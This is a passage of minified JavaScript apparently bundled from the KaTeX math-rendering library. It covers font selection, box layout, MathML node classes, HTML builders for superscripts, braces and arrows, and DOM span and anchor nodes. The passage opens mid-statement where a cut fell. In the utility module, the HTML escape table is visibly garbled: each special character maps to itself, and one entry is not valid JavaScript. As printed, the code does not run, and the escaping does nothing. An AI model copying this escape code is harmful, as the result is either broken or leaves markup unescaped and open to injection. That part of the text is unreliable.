"+i+" in mathDefault")},g=function(e,t,n,r){return/[0-9]/.test(e.charAt(0))||c.a.contains(d,e)?{fontName:"Main-Italic",fontClass:"mainit"}:{fontName:"Math-Italic",fontClass:"mathit"}},y=function(e){var t=0,n=0,r=0,i=!0,a=!1,s=void 0;try{for(var l,u=o()(e.children);!(i=(l=u.next()).done);i=!0){var c=l.value;c.height>t&&(t=c.height),c.depth>n&&(n=c.depth),c.maxFontSize>r&&(r=c.maxFontSize)}}catch(f){a=!0,s=f}finally{try{!i&&u.return&&u.return()}finally{if(a)throw s}}e.height=t,e.depth=n,e.maxFontSize=r},b=function(e,t,n,r){var i=new s.a.span(e,t,n,r);return y(i),i},x=function(e,t,n){return w(e)+"-"+k(t,n)},w=function(e){var t="";switch(e){case"amsrm":t="AMS";break;case"textrm":t="Main";break;case"textsf":t="SansSerif";break;case"texttt":t="Typewriter";break;default:throw new Error("Invalid font provided: "+e)}return t},k=function(e,t){var n="";return"textbf"===e&&(n+="Bold"),"textit"===t&&(n+="Italic"),n||"Regular"},_={mathbf:{variant:"bold",fontName:"Main-Bold"},mathrm:{variant:"normal",fontName:"Main-Regular"},textit:{variant:"italic",fontName:"Main-Italic"},mathbb:{variant:"double-struck",fontName:"AMS-Regular"},mathcal:{variant:"script",fontName:"Caligraphic-Regular"},mathfrak:{variant:"fraktur",fontName:"Fraktur-Regular"},mathscr:{variant:"script",fontName:"Script-Regular"},mathsf:{variant:"sans-serif",fontName:"SansSerif-Regular"},mathtt:{variant:"monospace",fontName:"Typewriter-Regular"}},M={vec:["vec",.471,.714]};t.a={fontMap:_,makeSymbol:m,mathsym:function(e,t,n){var r=arguments.length>3&&void 0!==arguments[3]?arguments[3]:[];return n&&n.fontFamily&&"boldsymbol"===n.fontFamily&&p(e,"Main-Bold",t).metrics?m(e,"Main-Bold",t,n,r.concat(["mathbf"])):"\\"===e||"main"===u.a[t][e].font?m(e,"Main-Regular",t,n,r):m(e,"AMS-Regular",t,n,r.concat(["amsrm"]))},makeSpan:b,makeLineSpan:function(e,t){var n=t.fontMetrics().defaultRuleThickness,r=f.a.ruleSpan(e,n,t);return r.height=n,r.style.height=5*r.height+"em",r.maxFontSize=1,r},makeAnchor:function(e,t,n,r){var i=new s.a.anchor(e,t,n,r);return y(i),i},makeFragment:function(e){var t=new s.a.documentFragment(e);return y(t),t},makeVList:function(e,t){var n=function(e){if("individualShift"===e.positionType){for(var t=e.children,n=[t[0]],r=-t[0].shift-t[0].elem.depth,i=r,a=1;a<t.length;a++){var s=-t[a].shift-i-t[a].elem.depth,l=s-(t[a-1].elem.height+t[a-1].elem.depth);i+=s,n.push({type:"kern",size:l}),n.push(t[a])}return{children:n,depth:r}}var u=void 0;if("top"===e.positionType){var c=e.positionData,f=!0,h=!1,d=void 0;try{for(var p,m=o()(e.children);!(f=(p=m.next()).done);f=!0){var v=p.value;c-="kern"===v.type?v.size:v.elem.height+v.elem.depth}}catch(y){h=!0,d=y}finally{try{!f&&m.return&&m.return()}finally{if(h)throw d}}u=c}else if("bottom"===e.positionType)u=-e.positionData;else{var g=e.children[0];if("elem"!==g.type)throw new Error('First child must have type "elem".');if("shift"===e.positionType)u=-g.elem.depth-e.positionData;else{if("firstBaseline"!==e.positionType)throw new Error("Invalid positionType "+e.positionType+".");u=-g.elem.depth}}return{children:e.children,depth:u}}(e),r=n.children,i=n.depth,a=0,l=!0,u=!1,c=void 0;try{for(var f,h=o()(r);!(l=(f=h.next()).done);l=!0){var d=f.value;if("elem"===d.type){var p=d.elem;a=Math.max(a,p.maxFontSize,p.height)}}}catch(R){u=!0,c=R}finally{try{!l&&h.return&&h.return()}finally{if(u)throw c}}a+=2;var m=b(["pstrut"],[]);m.style.height=a+"em";var v=[],g=i,y=i,x=i,w=!0,k=!1,_=void 0;try{for(var M,S=o()(r);!(w=(M=S.next()).done);w=!0){var T=M.value;if("kern"===T.type)x+=T.size;else{var O=T.elem,E=T.wrapperClasses||[],C=T.wrapperStyle||{},N=b(E,[m,O],void 0,C);N.style.top=-a-x-O.depth+"em",T.marginLeft&&(N.style.marginLeft=T.marginLeft),T.marginRight&&(N.style.marginRight=T.marginRight),v.push(N),x+=O.height+O.depth}g=Math.min(g,x),y=Math.max(y,x)}}catch(R){k=!0,_=R}finally{try{!w&&S.return&&S.return()}finally{if(k)throw _}}var P=b(["vlist"],v);P.style.height=y+"em";var A=void 0;if(g<0){var z=b(["vlist"],[]);z.style.height=-g+"em";var D=b(["vlist-s"],[new s.a.symbolNode("\u200b")]);A=[b(["vlist-r"],[P,D]),b(["vlist-r"],[z])]}else A=[b(["vlist-r"],[P])];var I=b(["vlist-t"],A);return 2===A.length&&I.classes.push("vlist-t2"),I.height=y,I.depth=-g,I},makeOrd:function(e,t,n){var r=e.mode,i=e.value,a=["mord"],o=t.fontFamily;if(o){var s=void 0,l=void 0;if("boldsymbol"===o){var u=function(e,t,n,r){return p(e,"Math-BoldItalic",t).metrics?{fontName:"Math-BoldItalic",fontClass:"boldsymbol"}:{fontName:"Main-Bold",fontClass:"mathbf"}}(i,r);s=u.fontName,l=[u.fontClass]}else if("mathit"===o||c.a.contains(d,i)){var f=g(i,r,t,a);s=f.fontName,l=[f.fontClass]}else-1!==o.indexOf("math")||"math"===r?(s=_[o].fontName,l=[o]):(s=x(o,t.fontWeight,t.fontShape),l=[o,t.fontWeight,t.fontShape]);return p(i,s,r).metrics?m(i,s,r,t,a.concat(l)):v(i,r,t,a,n)}return v(i,r,t,a,n)},makeVerb:function(e,t){var n=e.value.body;return n=e.value.star?n.replace(/ /g,"\u2423"):n.replace(/ /g,"\xa0")},makeGlue:function(e,t){var n=b(["mord","rule"],[],t),r=Object(h.a)(e,t);return n.style.marginRight=r+"em",n},staticSvg:function(e,t){var n=i()(M[e],3),r=n[0],a=n[1],o=n[2],l=new s.a.pathNode(r),u=new s.a.svgNode([l],{width:a+"em",height:o+"em",style:"width:"+a+"em",viewBox:"0 0 "+1e3*a+" "+1e3*o,preserveAspectRatio:"xMinYMin"}),c=b(["overlay"],[u],t);return c.height=o,c.style.height=o+"em",c.style.width=a+"em",c},svgData:M,tryCombineChars:function(e){for(var t=0;t<e.length-1;t++)e[t].tryCombine(e[t+1])&&(e.splice(t+1,1),t--);return e},spacingFunctions:{"\\qquad":{size:"2em",className:"qquad"},"\\quad":{size:"1em",className:"quad"},"\\enspace":{size:"0.5em",className:"enspace"},"\\;":{size:"0.277778em",className:"thickspace"},"\\:":{size:"0.22222em",className:"mediumspace"},"\\,":{size:"0.16667em",className:"thinspace"},"\\!":{size:"-0.16667em",className:"negativethinspace"}}}},function(e,t,n){"use strict";var r=n(18),i=n.n(r),a=n(7),o=n.n(a),s=n(10),l=n.n(s),u=n(5),c=function(){function e(t,n){o()(this,e),this.type=t,this.attributes={},this.children=n||[]}return l()(e,[{key:"setAttribute",value:function(e,t){this.attributes[e]=t}},{key:"toNode",value:function(){var e=document.createElementNS("http://www.w3.org/1998/Math/MathML",this.type);for(var t in this.attributes)Object.prototype.hasOwnProperty.call(this.attributes,t)&&e.setAttribute(t,this.attributes[t]);var n=!0,r=!1,a=void 0;try{for(var o,s=i()(this.children);!(n=(o=s.next()).done);n=!0){var l=o.value;e.appendChild(l.toNode())}}catch(u){r=!0,a=u}finally{try{!n&&s.return&&s.return()}finally{if(r)throw a}}return e}},{key:"toMarkup",value:function(){var e="<"+this.type;for(var t in this.attributes)Object.prototype.hasOwnProperty.call(this.attributes,t)&&(e+=" "+t+'="',e+=u.a.escape(this.attributes[t]),e+='"');e+=">";for(var n=0;n<this.children.length;n++)e+=this.children[n].toMarkup();return e+="</"+this.type+">"}},{key:"toText",value:function(){return"mspace"===this.type?"0.16667em"===this.attributes.width?"\u2006":" ":this.children.map((function(e){return e.toText()})).join("")}}]),e}(),f=function(){function e(t){o()(this,e),this.text=t}return l()(e,[{key:"toNode",value:function(){return document.createTextNode(this.text)}},{key:"toMarkup",value:function(){return u.a.escape(this.text)}},{key:"toText",value:function(){return this.text}}]),e}();t.a={MathNode:c,TextNode:f}},function(e,t,n){"use strict";n.d(t,"e",(function(){return f})),n.d(t,"d",(function(){return d})),n.d(t,"a",(function(){return m})),n.d(t,"b",(function(){return v})),t.c=function(e,t,n){var i=m(e,n),o=new a.a.MathNode("mrow",i),s=new a.a.MathNode("annotation",[new a.a.TextNode(t)]);s.setAttribute("encoding","application/x-tex");var l=new a.a.MathNode("semantics",[o,s]),u=new a.a.MathNode("math",[l]);return r.a.makeSpan(["katex-mathml"],[u])};var r=n(0),i=n(30),a=n(1),o=n(6),s=n(9),l=n(28),u=n(5),c=n(13),f=function(e,t){return l.a[t][e]&&l.a[t][e].replace&&(e=l.a[t][e].replace),new a.a.TextNode(e)},h=function(e,t){var n=t.fontFamily;if(!n)return null;var a=e.mode;if("mathit"===n)return"italic";if("boldsymbol"===n)return"bold-italic";var o=e.value;if(u.a.contains(["\\imath","\\jmath"],o))return null;l.a[a][o]&&l.a[a][o].replace&&(o=l.a[a][o].replace);var s=r.a.fontMap[n].fontName;return i.a.getCharacterMetrics(o,s,a)?r.a.fontMap[n].variant:null},d={},p={mi:"italic",mn:"normal",mtext:"normal"};d.mathord=function(e,t){var n=new a.a.MathNode("mi",[f(e.value,e.mode)]),r=h(e,t)||"italic";return r!==p[n.type]&&n.setAttribute("mathvariant",r),n},d.textord=function(e,t){var n=f(e.value,e.mode),r=h(e,t)||"normal",i=void 0;return i="text"===e.mode?new a.a.MathNode("mtext",[n]):/[0-9]/.test(e.value)?new a.a.MathNode("mn",[n]):"\\prime"===e.value?new a.a.MathNode("mo",[n]):new a.a.MathNode("mi",[n]),r!==p[i.type]&&i.setAttribute("mathvariant",r),i},d.bin=function(e,t){var n=new a.a.MathNode("mo",[f(e.value,e.mode)]),r=h(e,t);return"bold-italic"===r&&n.setAttribute("mathvariant",r),n},d.rel=function(e){return new a.a.MathNode("mo",[f(e.value,e.mode)])},d.open=function(e){return new a.a.MathNode("mo",[f(e.value,e.mode)])},d.close=function(e){return new a.a.MathNode("mo",[f(e.value,e.mode)])},d.inner=function(e){return new a.a.MathNode("mo",[f(e.value,e.mode)])},d.punct=function(e){var t=new a.a.MathNode("mo",[f(e.value,e.mode)]);return t.setAttribute("separator","true"),t},d.ordgroup=function(e,t){var n=m(e.value,t);return new a.a.MathNode("mrow",n)},d.supsub=function(e,t){var n=!1,r=void 0;e.value.base&&"horizBrace"===e.value.base.value.type&&!!e.value.sup===e.value.base.value.isOver&&(n=!0,r=e.value.base.value.isOver);var i=[v(e.value.base,t,!0)];e.value.sub&&i.push(v(e.value.sub,t,!0)),e.value.sup&&i.push(v(e.value.sup,t,!0));var o=void 0;if(n)o=r?"mover":"munder";else if(e.value.sub)if(e.value.sup){var l=e.value.base;o=l&&l.value.limits&&t.style===s.a.DISPLAY?"munderover":"msubsup"}else{var u=e.value.base;o=u&&u.value.limits&&t.style===s.a.DISPLAY?"munder":"msub"}else{var c=e.value.base;o=c&&c.value.limits&&t.style===s.a.DISPLAY?"mover":"msup"}return new a.a.MathNode(o,i)},d.spacing=function(e){var t=void 0;return"\\ "===e.value||"\\space"===e.value||" "===e.value||"~"===e.value?t=new a.a.MathNode("mtext",[new a.a.TextNode("\xa0")]):(t=new a.a.MathNode("mspace")).setAttribute("width",r.a.spacingFunctions[e.value].size),t},d.horizBrace=function(e,t){var n=c.a.mathMLnode(e.value.label);return new a.a.MathNode(e.value.isOver?"mover":"munder",[v(e.value.base,t),n])},d.xArrow=function(e,t){var n=c.a.mathMLnode(e.value.label),r=void 0,i=void 0;if(e.value.body){var o=v(e.value.body,t);e.value.below?(i=v(e.value.below,t),r=new a.a.MathNode("munderover",[n,i,o])):r=new a.a.MathNode("mover",[n,o])}else e.value.below?(i=v(e.value.below,t),r=new a.a.MathNode("munder",[n,i])):r=new a.a.MathNode("mover",[n]);return r},d.mclass=function(e,t){var n=m(e.value.value,t);return new a.a.MathNode("mstyle",n)},d.raisebox=function(e,t){var n=new a.a.MathNode("mpadded",[v(e.value.body,t)]),r=e.value.dy.value.number+e.value.dy.value.unit;return n.setAttribute("voffset",r),n};var m=function(e,t){for(var n=[],r=0;r<e.length;r++){var i=e[r];n.push(v(i,t))}return n},v=function(e,t){var n=arguments.length>2&&void 0!==arguments[2]&&arguments[2];if(!e)return new a.a.MathNode("mrow");if(d[e.type]){var r=d[e.type](e,t);return n&&"mrow"===r.type&&1===r.children.length?r.children[0]:r}throw new o.a("Got group of unknown type: '"+e.type+"'")}},function(e,t,n){"use strict";n.d(t,"a",(function(){return a})),t.b=function(e){for(var t=e.type,n=e.names,o=e.props,s=e.handler,l=e.htmlBuilder,u=e.mathmlBuilder,c={numArgs:o.numArgs,argTypes:o.argTypes,greediness:void 0===o.greediness?1:o.greediness,allowedInText:!!o.allowedInText,allowedInMath:void 0===o.allowedInMath||o.allowedInMath,numOptionalArgs:o.numOptionalArgs||0,infix:!!o.infix,handler:s},f=0;f<n.length;++f)a[n[f]]=c;t&&(l&&(r.d[t]=l),u&&(i.d[t]=u))},n.d(t,"c",(function(){return o}));var r=n(4),i=n(2),a={},o=function(e){return"ordgroup"===e.type?e.value:[e]}},function(e,t,n){"use strict";n.d(t,"a",(function(){return b})),n.d(t,"e",(function(){return _})),n.d(t,"d",(function(){return M})),n.d(t,"b",(function(){return S})),t.c=function(e,t){e=JSON.parse(i()(e));var n=b(e,t,!0),r=m(["base"],n,t),a=m(["strut"]),o=m(["strut","bottom"]);a.style.height=r.height+"em",o.style.height=r.height+r.depth+"em",o.style.verticalAlign=-r.depth+"em";var s=m(["katex-html"],[a,o,r]);return s.setAttribute("aria-hidden","true"),s};var r=n(77),i=n.n(r),a=n(35),o=n.n(a),s=n(6),l=n(9),u=n(0),c=n(12),f=n(19),h=n(5),d=n(13),p=n(112),m=u.a.makeSpan,v=function(e,t){return e?h.a.contains(["mbin","mopen","mrel","mop","mpunct"],w(e,"right")):t},g=function(e,t){return e?h.a.contains(["mrel","mclose","mpunct"],w(e,"left")):t},y={display:l.a.DISPLAY,text:l.a.TEXT,script:l.a.SCRIPT,scriptscript:l.a.SCRIPTSCRIPT},b=function(e,t,n){for(var r=arguments.length>3&&void 0!==arguments[3]?arguments[3]:[null,null],i=[],a=0;a<e.length;a++){var s=e[a],l=S(s,t);l instanceof c.a.documentFragment?i.push.apply(i,o()(l.children)):i.push(l)}for(var f=[r[0]&&m([r[0]],[],t)].concat(o()(i.filter((function(e){return e&&"mspace"!==e.classes[0]}))),[r[1]&&m([r[1]],[],t)]),h=1;h<f.length-1;h++){var d=x(f[h],"left");"mbin"===d.classes[0]&&v(f[h-1],n)&&(d.classes[0]="mord");var b=x(f[h],"right");"mbin"===b.classes[0]&&g(f[h+1],n)&&(b.classes[0]="mord")}for(var _=[],M=0,T=0;T<i.length;T++)if(_.push(i[T]),"mspace"!==i[T].classes[0]&&M<f.length-1){0===M&&(_.pop(),T--);var O=w(f[M],"right"),E=w(f[M+1],"left");if(O&&E&&n){var C=k(f[M+1])?p.b[O][E]:p.a[O][E];if(C){var N=t;1===e.length&&("sizing"===e[0].type?N=t.havingSize(e[0].value.size):"styling"===e[0].type&&(N=t.havingStyle(y[e[0].value.style]))),_.push(u.a.makeGlue(C,N))}}M++}for(var P=0;P<_.length;P++)"\u0338"===_[P].value&&(_[P].style.position="absolute",_[P].style.paddingLeft="0.8em");return _},x=function e(t){var n=arguments.length>1&&void 0!==arguments[1]?arguments[1]:"right";if((t instanceof c.a.documentFragment||t instanceof c.a.anchor)&&t.children.length){if("right"===n)return e(t.children[t.children.length-1]);if("left"===n)return e(t.children[0])}return t},w=function(e){var t=arguments.length>1&&void 0!==arguments[1]?arguments[1]:"right";return e?(e=x(e,t),h.a.contains(["mord","mop","mbin","mrel","mopen","mclose","mpunct","minner"],e.classes[0])?e.classes[0]:null):null},k=function(e){return e=x(e,"left"),h.a.contains(e.classes,"mtight")},_=function(e,t){var n=["nulldelimiter"].concat(e.baseSizingClasses());return m(t.concat(n))},M={mathord:function(e,t){return u.a.makeOrd(e,t,"mathord")},textord:function(e,t){return u.a.makeOrd(e,t,"textord")},bin:function(e,t){return u.a.mathsym(e.value,e.mode,t,["mbin"])},rel:function(e,t){return u.a.mathsym(e.value,e.mode,t,["mrel"])},open:function(e,t){return u.a.mathsym(e.value,e.mode,t,["mopen"])},close:function(e,t){return u.a.mathsym(e.value,e.mode,t,["mclose"])},inner:function(e,t){return u.a.mathsym(e.value,e.mode,t,["minner"])},punct:function(e,t){return u.a.mathsym(e.value,e.mode,t,["mpunct"])},ordgroup:function(e,t){return m(["mord"],b(e.value,t,!0),t)},supsub:function(e,t){if(function(e,t){if(e.value.base){var n=e.value.base;return"op"===n.type?n.value.limits&&(t.style.size===l.a.DISPLAY.size||n.value.alwaysHandleSupSub):"accent"===n.type?h.a.isCharacterBox(n.value.base):"horizBrace"===n.type?!e.value.sub===n.value.isOver:null}return!1}(e,t))return M[e.value.base.type](e,t);var n=S(e.value.base,t),r=void 0,i=void 0,a=t.fontMetrics(),o=void 0,s=0,f=0;e.value.sup&&(o=t.havingStyle(t.style.sup()),r=S(e.value.sup,o,t),h.a.isCharacterBox(e.value.base)||(s=n.height-o.fontMetrics().supDrop*o.sizeMultiplier/t.sizeMultiplier)),e.value.sub&&(o=t.havingStyle(t.style.sub()),i=S(e.value.sub,o,t),h.a.isCharacterBox(e.value.base)||(f=n.depth+o.fontMetrics().subDrop*o.sizeMultiplier/t.sizeMultiplier));var d=void 0;d=t.style===l.a.DISPLAY?a.sup1:t.style.cramped?a.sup3:a.sup2;var p=t.sizeMultiplier,v=.5/a.ptPerEm/p+"em",g=void 0;if(e.value.sup)if(e.value.sub){s=Math.max(s,d,r.depth+.25*a.xHeight),f=Math.max(f,a.sub2);var y=a.defaultRuleThickness;if(s-r.depth-(i.height-f)<4*y){f=4*y-(s-r.depth)+i.height;var b=.8*a.xHeight-(s-r.depth);b>0&&(s+=b,f-=b)}var x=[{type:"elem",elem:i,shift:f,marginRight:v},{type:"elem",elem:r,shift:-s,marginRight:v}];n instanceof c.a.symbolNode&&(x[0].marginLeft=-n.italic+"em"),g=u.a.makeVList({positionType:"individualShift",children:x},t)}else s=Math.max(s,d,r.depth+.25*a.xHeight),g=u.a.makeVList({positionType:"shift",positionData:-s,children:[{type:"elem",elem:r,marginRight:v}]},t);else{f=Math.max(f,a.sub1,i.height-.8*a.xHeight);var k=[{type:"elem",elem:i,marginRight:v}];n instanceof c.a.symbolNode&&(k[0].marginLeft=-n.italic+"em"),g=u.a.makeVList({positionType:"shift",positionData:f,children:k},t)}var _=w(n)||"mord";return m([_],[n,m(["msupsub"],[g])],t)},spacing:function(e,t){return"\\ "===e.value||"\\space"===e.value||" "===e.value||"~"===e.value?"text"===e.mode?u.a.makeOrd(e,t,"textord"):m(["mspace"],[u.a.mathsym(e.value,e.mode,t)],t):m(["mspace",u.a.spacingFunctions[e.value].className],[],t)},horizBrace:function(e,t){var n=t.style,r="supsub"===e.type,i=void 0,a=void 0;r&&(e.value.sup?(a=t.havingStyle(n.sup()),i=S(e.value.sup,a,t)):(a=t.havingStyle(n.sub()),i=S(e.value.sub,a,t)),e=e.value.base);var o=S(e.value.base,t.havingBaseStyle(l.a.DISPLAY)),s=d.a.svgSpan(e,t),c=void 0;if(e.value.isOver?(c=u.a.makeVList({positionType:"firstBaseline",children:[{type:"elem",elem:o},{type:"kern",size:.1},{type:"elem",elem:s}]},t)).children[0].children[0].children[1].classes.push("svg-align"):(c=u.a.makeVList({positionType:"bottom",positionData:o.depth+.1+s.height,children:[{type:"elem",elem:s},{type:"kern",size:.1},{type:"elem",elem:o}]},t)).children[0].children[0].children[0].classes.push("svg-align"),r){var f=m(["mord",e.value.isOver?"mover":"munder"],[c],t);c=e.value.isOver?u.a.makeVList({positionType:"firstBaseline",children:[{type:"elem",elem:f},{type:"kern",size:.2},{type:"elem",elem:i}]},t):u.a.makeVList({positionType:"bottom",positionData:f.depth+.2+i.height,children:[{type:"elem",elem:i},{type:"kern",size:.2},{type:"elem",elem:f}]},t)}return m(["mord",e.value.isOver?"mover":"munder"],[c],t)},xArrow:function(e,t){var n=t.style,r=t.havingStyle(n.sup()),i=S(e.value.body,r,t);i.classes.push("x-arrow-pad");var a=void 0;e.value.below&&(r=t.havingStyle(n.sub()),(a=S(e.value.below,r,t)).classes.push("x-arrow-pad"));var o=d.a.svgSpan(e,t),s=-t.fontMetrics().axisHeight+.5*o.height,l=-t.fontMetrics().axisHeight-.5*o.height-.111;"\\xleftequilibrium"===e.value.label&&(l-=i.depth);var c=void 0;if(e.value.below){var f=-t.fontMetrics().axisHeight+a.height+.5*o.height+.111;c=u.a.makeVList({positionType:"individualShift",children:[{type:"elem",elem:i,shift:l},{type:"elem",elem:o,shift:s},{type:"elem",elem:a,shift:f}]},t)}else c=u.a.makeVList({positionType:"individualShift",children:[{type:"elem",elem:i,shift:l},{type:"elem",elem:o,shift:s}]},t);return c.children[0].children[0].children[1].classes.push("svg-align"),m(["mrel","x-arrow"],[c],t)},mclass:function(e,t){var n=b(e.value.value,t,!0);return m([e.value.mclass],n,t)},raisebox:function(e,t){var n=M.sizing({value:{value:[{type:"text",value:{body:e.value.value,font:"mathrm"}}],size:6}},t),r=Object(f.a)(e.value.dy.value,t);return u.a.makeVList({positionType:"shift",positionData:-r,children:[{type:"elem",elem:n}]},t)}},S=function(e,t,n){if(!e)return m();if(M[e.type]){var r=M[e.type](e,t);if(n&&t.size!==n.size){r=m(t.sizingClasses(n),[r],t);var i=t.sizeMultiplier/n.sizeMultiplier;r.height*=i,r.depth*=i}return r}throw new s.a("Got group of unknown type: '"+e.type+"'")}},function(e,t,n){"use strict";var r=Array.prototype.indexOf,i=function(e,t){if(null==e)return-1;if(r&&e.indexOf===r)return e.indexOf(t);for(var n=e.length,i=0;i<n;i++)if(e[i]===t)return i;return-1},a=/([A-Z])/g,o={"&":"&",">":">","<":"<",'"':""","'":"'"},s=/[&><"']/g,l=void 0;if("undefined"!==typeof document){var u=document.createElement("span");l="textContent"in u?function(e,t){e.textContent=t}:function(e,t){e.innerText=t}}var c=function e(t){return!!t&&("ordgroup"===t.type?1===t.value.length?e(t.value[0]):t:"color"===t.type?1===t.value.value.length?e(t.value.value[0]):t:"font"===t.type?e(t.value.body):t)};t.a={contains:function(e,t){return-1!==i(e,t)},deflt:function(e,t){return void 0===e?t:e},escape:function(e){return String(e).replace(s,(function(e){return o[e]}))},hyphenate:function(e){return e.replace(a,"-$1").toLowerCase()},indexOf:i,setTextContent:l,clearNode:function(e){l(e,"")},getBaseElem:c,isCharacterBox:function(e){var t=c(e);return"mathord"===t.type||"textord"===t.type||"bin"===t.type||"rel"===t.type||"inner"===t.type||"open"===t.type||"close"===t.type||"punct"===t.type}}},function(e,t,n){"use strict";var r=n(7),i=n.n(r),a=(n(14),n(27),function e(t,n){i()(this,e);var r="KaTeX parse error: "+t,a=void 0,o=n&&n.loc;if(o&&o.start<=o.end){var s=o.lexer.input;a=o.start;var l=o.end;a===s.length?r+=" at end of input: ":r+=" at position "+(a+1)+": ";var u=s.slice(a,l).replace(/[^]/g,"$&\u0332");r+=(a>15?"\u2026"+s.slice(a-15,a):s.slice(0,a))+u+(l+15<s.length?s.slice(l,l+15)+"\u2026":s.slice(l))}var c=new Error(r);return c.name="ParseError",c.__proto__=e.prototype,c.position=a,c});a.prototype.__proto__=Error.prototype,t.a=a},function(e,t,n){"use strict";t.__esModule=!0,t.default=function(e,t){if(!(e instanceof t))throw new TypeError("Cannot call a class as a function")}},function(e,t){var n=e.exports={version:"2.4.0"};"number"==typeof __e&&(__e=n)},function(e,t,n){"use strict";var r=n(7),i=n.n(r),a=n(10),o=n.n(a),s=function(){function e(t,n,r){i()(this,e),this.id=t,this.size=n,this.cramped=r}return o()(e,[{key:"sup",value:function(){return l[u[this.id]]}},{key:"sub",value:function(){return l[c[this.id]]}},{key:"fracNum",value:function(){return l[f[this.id]]}},{key:"fracDen",value:function(){return l[h[this.id]]}},{key:"cramp",value:function(){return l[d[this.id]]}},{key:"text",value:function(){return l[p[this.id]]}},{key:"isTight",value:function(){return this.size>=2}}]),e}(),l=[new s(0,0,!1),new s(1,0,!0),new s(2,1,!1),new s(3,1,!0),new s(4,2,!1),new s(5,2,!0),new s(6,3,!1),new s(7,3,!0)],u=[4,5,4,5,6,7,6,7],c=[5,5,5,5,7,7,7,7],f=[2,3,4,5,6,7,6,7],h=[3,3,5,5,7,7,7,7],d=[1,1,3,3,5,5,7,7],p=[0,1,2,3,2,3,2,3];t.a={DISPLAY:l[0],TEXT:l[2],SCRIPT:l[4],SCRIPTSCRIPT:l[6]}},function(e,t,n){"use strict";t.__esModule=!0;var r,i=n(73),a=(r=i)&&r.__esModule?r:{default:r};t.default=function(){function e(e,t){for(var n=0;n<t.length;n++){var r=t[n];r.enumerable=r.enumerable||!1,r.configurable=!0,"value"in r&&(r.writable=!0),(0,a.default)(e,r.key,r)}}return function(t,n,r){return n&&e(t.prototype,n),r&&e(t,r),t}}()},function(e,t,n){var r=n(52)("wks"),i=n(32),a=n(16).Symbol,o="function"==typeof a;(e.exports=function(e){return r[e]||(r[e]=o&&a[e]||(o?a:i)("Symbol."+e))}).store=r},function(e,t,n){"use strict";var r=n(18),i=n.n(r),a=n(105),o=n.n(a),s=n(7),l=n.n(s),u=n(10),c=n.n(u),f=n(42),h=n(5),d=n(111),p=function(e){for(var t=(e=e.slice()).length-1;t>=0;t--)e[t]||e.splice(t,1);return e.join(" ")},m=function(){function e(t,n,r,i){if(l()(this,e),this.classes=t||[],this.children=n||[],this.height=0,this.depth=0,this.maxFontSize=0,this.style=o()({},i),this.attributes={},r){r.style.isTight()&&this.classes.push("mtight");var a=r.getColor();a&&(this.style.color=a)}}return c()(e,[{key:"setAttribute",value:function(e,t){this.attributes[e]=t}},{key:"tryCombine",value:function(e){return!1}},{key:"toNode",value:function(){var e=document.createElement("span");for(var t in e.className=p(this.classes),this.style)Object.prototype.hasOwnProperty.call(this.style,t)&&(e.style[t]=this.style[t]);for(var n in this.attributes)Object.prototype.hasOwnProperty.call(this.attributes,n)&&e.setAttribute(n,this.attributes[n]);for(var r=0;r<this.children.length;r++)e.appendChild(this.children[r].toNode());return e}},{key:"toMarkup",value:function(){var e="<span";this.classes.length&&(e+=' class="',e+=h.a.escape(p(this.classes)),e+='"');var t="";for(var n in this.style)this.style.hasOwnProperty(n)&&(t+=h.a.hyphenate(n)+":"+this.style[n]+";");for(var r in t&&(e+=' style="'+h.a.escape(t)+'"'),this.attributes)Object.prototype.hasOwnProperty.call(this.attributes,r)&&(e+=" "+r+'="',e+=h.a.escape(this.attributes[r]),e+='"');e+=">";for(var i=0;i<this.children.length;i++)e+=this.children[i].toMarkup();return e+="</span>"}}]),e}(),v=function(){function e(t,n,r,i){l()(this,e),this.href=t,this.classes=n,this.children=r,this.height=0,this.depth=0,this.maxFontSize=0,this.style={},this.attributes={},i.style.isTight()&&this.classes.push("mtight");var a=i.getColor();a&&(this.style.color=a)}return c()(e,[{key:"setAttribute",value:function(e,t){this.attributes[e]=t}},{key:"tryCombine",value:function(e){return!1}},{key:"toNode",value:function(){var e=document.createElement("a");for(var t in e.setAttribute("href",this.href),this.classes.length&&(e.className=p(this.classes)),this.style)Object.prototype.hasOwnProperty.call(this.style,t)&&(e.style[t]=this.style[t]);for(var n in this.attributes)Object.prototype.hasOwnProperty.call(this.attributes,n)&&e.setAttribute(n,this.attributes[n]);for(var r=0;r<this.children.length;r++)e.appendChild(this.children[r].toNode());return e}},{key:"toMarkup",value:function(){var e="<a";e+='href="'+(e+=h.a.escape(this.href))+'"',this.classes.length&&(e+=' class="'+h.a.escape(p(this.classes))+'"');var t="";for(var n in this.style)this.style.hasOwnProperty(n)&&(t+=h.a.hyphenate(n)+":"+this.style[n]+";");for(var r in t&&(e+=' style="'+h.a.escape(t)+'"'),this.attributes)"href"!==r&&Object.prototype.hasOwnProperty.call(this.attributes,r)&&(e+=" "+r+'="'+h.a.escape(this.attributes[r])+'"');e+=">";var a=!0,o=!1,s=void 0;try{for(var l,u=i()(this.children);!(a=(l=u.next()).done);a=!0)e+=l.value.toMarkup()}catch(c){o=!0,s=c}finally{try{!a&&u.return&&u.return()}finally{if(o)throw s}}return e+="</a>"}}]),e}(),g=function(){function e(t){l()(this,e),this.children=t||[],this.height=0,this.depth=0,this.maxFontSize=0}return c()(e,[{key:"toNode",value:function(){for(var e=document.createDocumentFragment(),t=0;t<this.children.length;t++)e.appendChild(this.children[t].toNode());return e}},{key:"toMarkup",value:function(){for(var e="",t=0;t<this.children.length;t++)e+=this.children[t].toMarkup();return e}}]),e}(),y={"\xee":"\u0131\u0302","\xef":"\u0131\u0308","\xed":"\u0131\u0301","\xec":"\u0131\u0300"},b=function(){function e(t,n,r,i,a,s,u,c){l()(this,e),this.value=t,this.height=n||0,this.depth=r||0,this.italic=i||0,this.skew=a||0,this.width=s||0,this.classes=u||[],this.style=o()({},c),this.maxFontSize=0;var h=Object(f.a)(this.value.charCodeAt(0));h&&this.classes.push(h+"_fallback"),/[\xee\xef\xed\xec]/.test(this.value)&&(this.value=y[this.value])}return c()(e,[{key:"tryCombine",value:function(t){if(!t||!(t instanceof e)||this.italic>0||p(this.classes)!==p(t.classes)||this.skew!==t.skew||this.maxFontSize!==t.maxFontSize)return!1;for(var n in this.style)if(this.style.hasOwnProperty(n)&&this.style[n]!==t.style[n])return!1;for(var r in t.style)if(t.style.hasOwnProperty(r)&&this.style[r]!==t.style[r])return!1;return this.value+=t.value,this.height=Math.max(this.height,t.height),this.depth=Math.max(this.depth,t.depth),this.italic=t.italic,!0}},{key:"toNode",value:function(){var e=document.createTextNode(this.value),t=null;for(var n in 